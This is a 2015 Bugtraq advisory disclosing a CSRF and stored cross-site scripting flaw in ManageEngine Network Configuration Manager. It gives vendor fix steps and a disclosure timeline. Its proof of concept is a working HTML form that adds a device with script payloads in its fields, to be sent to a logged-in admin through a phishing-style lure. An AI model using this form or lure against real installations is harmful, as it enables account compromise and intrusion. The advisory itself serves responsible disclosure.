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Cross-Site Request Forgery (CSRF) Vulnerability in ManageEngine Network Configuration
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Cross-Site Request Forgery (CSRF) Vulnerability in ManageEngine Network Configuration
- From: kingkaustubh@xxxxxx
- Date: Sat, 21 Mar 2015 16:34:18 GMT
Title:- Cross-Site Request Forgery (CSRF) Vulnerability in ManageEngine Network
Configuration Management
Author: Kaustubh G. Padwad
Vendor: ZOHO Corp
Product: ManageEngine Network Configuration Manager
Tested Version: : Network Configuration Manager Build 11000
Severity: HIGH
About the Product:
==================
Network Configuration Manager is a web?based, multi vendor network change,
configuration and compliance management (NCCCM) solution for switches, routers,
firewalls and other network devices. Trusted by thousands of network
administrators around the world, Network Configuration Manager helps automate
and take total control of the entire life cycle of device configuration
management.
Description:
============
This Cross-Site Request Forgery vulnerability enables an anonymous attacker to
add an device into the application. and device fileds are vulnerable to cross
site scripting attack This leads to compromising the whole domain as the
application.
Vulnerability Class:
====================
Cross-Site Request Forgery (CSRF) -
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
Cross-Site-Scripting
How to Reproduce: (POC):
========================
* Add follwing code to webserver and send that malicious link to application
Admin.
* The admin should be loggedin when he clicks on the link.
( Soical enginering might help here
* For Example :- Device password has been changed click here to reset
CSRF COde
=========
<body>
<form
action="http://192.168.1.80:8080/ncmapi/json/settings/addDevice?apiKey=3566c4f7a30732ad4e17a9659c38ba03";
method="POST">
<input type="hidden" name="IPADDRESS" value="192.168.1.1" />
<input type="hidden" name="SERIES"
value="<script>alert("1")</script>" />
<input type="hidden" name="MODEL"
value="<script>alert("1")</script>" />
<input type="hidden" name="COLUMNNAME1"
value="<script>alert("1")</script>" />
<input type="hidden" name="COLUMNNAME2"
value="<script>alert("1")</script>" />
<input type="hidden" name="VENDOR_NAME" value="3Com" />
<input type="hidden" name="DEVICE_BEHAVIOUR"
value="3Com 4200G Series Switch" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Mitigation
==========
Download and unzip the fix from the below link:
https://uploads.zohocorp.com/Internal_Useruploads/dnd/NetFlow_Analyzer/o_19ga51p951gblpbs1rkrm211vim1/vulnerabilities_Fix.zip
NCM.zip
1. Stop the Network Configuration Manager service.
2. Please replace settingModel.js under
NCM_Home\webapps\netflow\ncmapiclient\ember\models\Settings\settingModel.js
with with one under NCM.zip\settingModel.js.
3. Please replace AdvNCM.jar and main.js under
NCM_Home\webapps\netflow\ncmapiclient\ember\javascript with the one under
NCM.zip
Disclosure:
===========
04-Mar-2015 Repoerted to vendor
13-Mar-2015 Fixed By Vendor
16-Mar-2015 Requested for CVE ID
21-Mar-2015 Public Disclosed
#credits:
Kaustubh Padwad
Information Security Researcher
kingkaustubh@xxxxxx
https://twitter.com/s3curityb3ast
http://breakthesec.com
https://www.linkedin.com/in/kaustubhpadwad
Kaustubh Padwad
Information Security Researcher
kingkaustubh@xxxxxx
https://twitter.com/s3curityb3ast
http://breakthesec.com
https://www.linkedin.com/in/kaustubhpadwad